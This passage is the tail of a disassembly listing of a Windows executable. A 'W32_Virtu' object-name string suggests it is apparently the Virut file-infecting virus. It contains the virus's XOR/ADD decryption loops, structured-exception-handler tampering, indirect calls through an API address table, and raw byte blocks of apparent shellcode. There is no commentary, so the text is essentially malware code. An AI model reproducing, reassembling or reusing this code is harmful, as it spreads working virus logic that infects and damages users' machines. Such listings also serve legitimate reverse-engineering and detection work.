		jnz	short loc_421918
		mov	dh, [ebp+403430h]


loc_421918:				; CODE XREF: sub_4215FB+307j
					; sub_4215FB+315j
		test	dword ptr ss:loc_403431[ebp], 4000h
		jnz	short loc_42192F


loc_421924:				; CODE XREF: sub_4215FB+330j
		mov	al, [edi]
		add	al, dl
		stosb
		add	dl, dh
		loop	loc_421924
		jmp	short loc_421938
; ---------------------------------------------------------------------------


loc_42192F:				; CODE XREF: sub_4215FB+327j
					; sub_4215FB+33Bj
		mov	al, [edi]
		xor	al, dl
		stosb
		add	dl, dh
		loop	loc_42192F


loc_421938:				; CODE XREF: .data:004215F6j
					; sub_4215FB+11j ...
		xor	edx, edx
		mov	esp, fs:[edx]
		pop	dword ptr fs:[edx]
		pop	eax
sub_4215FB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421941	proc near		; CODE XREF: sub_4215FB+11Cp
		cmp	dword ptr [ebp+403956h], 0
		jz	locret_4214D6
		push	dword ptr [ebp+403972h]
		call	dword ptr [ebp+4035C4h]


loc_42195A:				; CODE XREF: sub_421405+C5j
		push	dword ptr [ebp+40396Eh]
		call	dword ptr [ebp+40353Ch]
		lea	ecx, [ebp+40395Ah]
		lea	edx, [ebp+403962h]
		push	ecx
		push	edx
		push	0
		push	dword ptr [ebp+403956h]
		call	dword ptr [ebp+4035B8h]


loc_421982:				; CODE XREF: sub_421405+6Bj
					; sub_421405+82j ...
		push	dword ptr [ebp+403956h]
		call	dword ptr [ebp+40353Ch]


loc_42198E:				; CODE XREF: sub_421405+45j
		lea	esi, [ebp+40384Eh]
		push	dword ptr ss:loc_403952[ebp]
		push	esi
		call	dword ptr [ebp+4035B4h]
		and	dword ptr [ebp+403956h], 0
		retn
sub_421941	endp

; ---------------------------------------------------------------------------
		db 0E8h, 2 dup(0)
		dd 6A5D0000h, 49ED8101h, 58004033h, 85C10FF0h, 401580h
		dd 83C3C085h, 0FF0FFC8h, 158085C1h, 3DC30040h, 2A0010h
		dd 81661C75h, 6C0C247Ch, 60137571h, 0FFFFC4E8h,	0E80575FFh
		dd 0FFFFFB7Eh, 0FFFFD2E8h, 0FF2E61FFh, 3456782Dh, 25B812h
		dd 0E8600000h, 0FFFFFFA5h, 448B3975h, 0B58D3024h, 40384Eh
		dd 6608508Bh, 2063A81h,	68562573h, 0FF0000h, 6AC48Bh, 95FF5052h
		dd 4035F8h, 8108C483h, 3F3F5C3Eh, 8303755Ch, 2BE804C6h
		dd 0E8FFFFFBh, 0FFFFFF7Fh, 74B8C361h, 0EB000000h, 2FB8B1h
		dd 10E80000h, 0C2000000h, 30B80020h, 0E8000000h, 3, 8D0024C2h
		dd 0CD0C2454h, 0F8832Eh, 0E860197Ch, 0
; ---------------------------------------------------------------------------
		mov	edx, [esp+30h]
		pop	ebp
		mov	ebx, [edx]
		sub	ebp, 403413h
		call	sub_41FFC3
		popa
		retn	4
; ---------------------------------------------------------------------------
		dw 702h
		dd 5010603h, 31808C95h,	15FF0939h, 4420F4h, 90h, 3Fh dup(0)
		dd 809B4700h, 8308AD7Ch, 9103317Ch, 80ADA07Ch, 7Ch, 2 dup(0)
		dd 80BDB600h, 801A247Ch, 80945C7Ch, 8023677Ch, 81042C7Ch
		dd 8106377Ch, 864B0F7Ch, 80C0587Ch, 80E7EC7Ch, 81153C7Ch
		dd 810A777Ch, 831C457Ch, 80B6A17Ch, 8608FF7Ch, 835DCA7Ch
		dd 8111DA7Ch, 812ADE7Ch, 801D777Ch, 80B9057Ch, 80BB767Ch
		dd 8309E17Ch, 863DE57Ch, 863F587Ch, 8127827Ch, 831CB87Ch
		dd 8024427Ch, 810B1C7Ch, 80B9747Ch, 809A517Ch, 810D877Ch
		dd 90D4607Ch, 90D6827Ch, 90D7547Ch, 90D7697Ch, 90D7937Ch
		dd 90DC557Ch, 90DCFD7Ch, 90DD907Ch, 90DEB67Ch, 90EA327Ch
		dd 9130C67Ch, 7Ch, 14h dup(0)
a68:
		unicode	0, <68>
		dw 1CBCh
aB_0		db 'B',0
		dd offset loc_42005A+2
aAsenamedobject:
		unicode	0, <aseNamedObjects\W32_Virtu>,0
		dd 0BBh	dup(0)
		dd 51000000h, 0Ch dup(0)
		dd 65000000h, 0D1h, 1179h dup(0)
_data		ends

; Section 4. (virtual address 00027000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00026600
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 427000h
		align 2000h
_idata2		ends


		end start